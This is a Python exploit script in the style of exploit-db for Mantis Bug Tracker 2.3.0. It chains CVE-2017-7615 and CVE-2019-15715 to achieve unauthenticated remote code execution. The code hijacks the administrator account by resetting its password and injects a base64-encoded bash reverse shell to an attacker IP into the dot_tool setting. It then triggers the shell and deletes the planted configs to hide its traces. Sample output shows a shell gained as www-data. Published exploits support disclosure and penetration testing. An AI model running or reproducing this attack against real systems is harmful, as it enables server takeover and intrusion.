1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181 | # Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
# Date: 2020-09-17
# Vulnerability Discovery: hyp3rlinx, permanull
# Exploit Author: Nikolas Geiselman
# Vendor Homepage: https://mantisbt.org/
# Software Link: https://mantisbt.org/download.php
# Version: 1.3.0/2.3.0
# Tested on: Ubuntu 16.04/19.10/20.04
# CVE : CVE-2017-7615, CVE-2019-15715
# References:
# https://mantisbt.org/bugs/view.php?id=26091
# https://www.exploit-db.com/exploits/41890
'''
This exploit chains together two CVE's to achieve unauthenticated remote code execution.
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).
Usage:
Set netcat listener on port 4444
Send exploit with "python exploit.py"
Example output:
kali@kali:~/Desktop$ python exploit.py
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up
kali@kali:~/Desktop$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978
bash: cannot set terminal process group (835): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
'''
import requests
from urllib import quote_plus
from base64 import b64encode
from re import split
class exploit():
def __init__(self):
self.s = requests.Session()
self.headers = dict() # Initialize the headers dictionary
self.RHOST = "192.168.116.151" # Victim IP
self.RPORT = "80" # Victim port
self.LHOST = "192.168.116.135" # Attacker IP
self.LPORT = "4444" # Attacker Port
self.verify_user_id = "1" # User id for the target account
self.realname = "administrator" # Username to hijack
self.passwd = "password" # New password after account hijack
self.mantisLoc = "/mantisbt-2.3.0" # Location of mantis in URL
self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload
def reset_login(self):
# Request # 1: Grab the account update token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
r = self.s.get(url=url,headers=self.headers)
if r.status_code == 404:
print "ERROR: Unable to access password reset page"
exit()
account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]
# Request # 2: Reset the account password
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
self.headers.update({'Content-Type':'application/x-www-form-urlencoded'})
r = self.s.post(url=url, headers=self.headers, data=data)
if r.status_code == 200:
print "Successfully hijacked account!"
def login(self):
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = self.s.post(url=url,headers=self.headers,data=data)
if "login_page.php" not in r.url:
print "Successfully logged in!"
def CreateConfigOption(self, option, value):
# Get adm_config_set_token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
r = self.s.get(url=url, headers=self.headers)
adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]
# Create config
data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(value) + "&action=create&config_set=Create+Configuration+Option"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
r = self.s.post(url=url, headers=self.headers, data=data)
def TriggerExploit(self):
print "Triggering reverse shell"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
try:
r = self.s.get(url=url,headers=self.headers, timeout=3)
except:
pass
def Cleanup(self):
# Delete the config settings that were created to send the reverse shell
print "Cleaning up"
cleaned_up = False
cleanup = requests.Session()
CleanupHeaders = dict()
CleanupHeaders.update({'Content-Type':'application/x-www-form-urlencoded'})
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = cleanup.post(url=url,headers=CleanupHeaders,data=data)
ConfigsToCleanup = ['dot_tool','relationship_graph_enable']
for config in ConfigsToCleanup:
# Get adm_config_delete_token
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
r = cleanup.get(url=url, headers=self.headers)
test = split('<!-- Repeated Info Rows -->',r.text)
# First element of the response list is garbage, delete it
del test[0]
cleanup_dict = dict()
for i in range(len(test)):
if config in test[i]:
cleanup_dict.update({'config_option':config})
cleanup_dict.update({'adm_config_delete_token':test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
cleanup_dict.update({'user_id':test[i].split('name="user_id" value=')[1].split('"')[1]})
cleanup_dict.update({'project_id':test[i].split('name="project_id" value=')[1].split('"')[1]})
# Delete the config
print "Deleting the " + config + " config."
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict['user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict['config_option'] + "&_confirmed=1"
r = cleanup.post(url=url,headers=CleanupHeaders,data=data)
#Confirm if actually cleaned up
r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php", headers=CleanupHeaders, verify=False)
if config in r.text:
cleaned_up = False
else:
cleaned_up = True
if cleaned_up == True:
print "Successfully cleaned up"
else:
print "Unable to clean up configs"
exploit = exploit()
exploit.reset_login()
exploit.login()
exploit.CreateConfigOption(option="relationship_graph_enable",value="1")
exploit.CreateConfigOption(option="dot_tool",value= exploit.ReverseShell + ';')
exploit.TriggerExploit()
exploit.Cleanup()
|
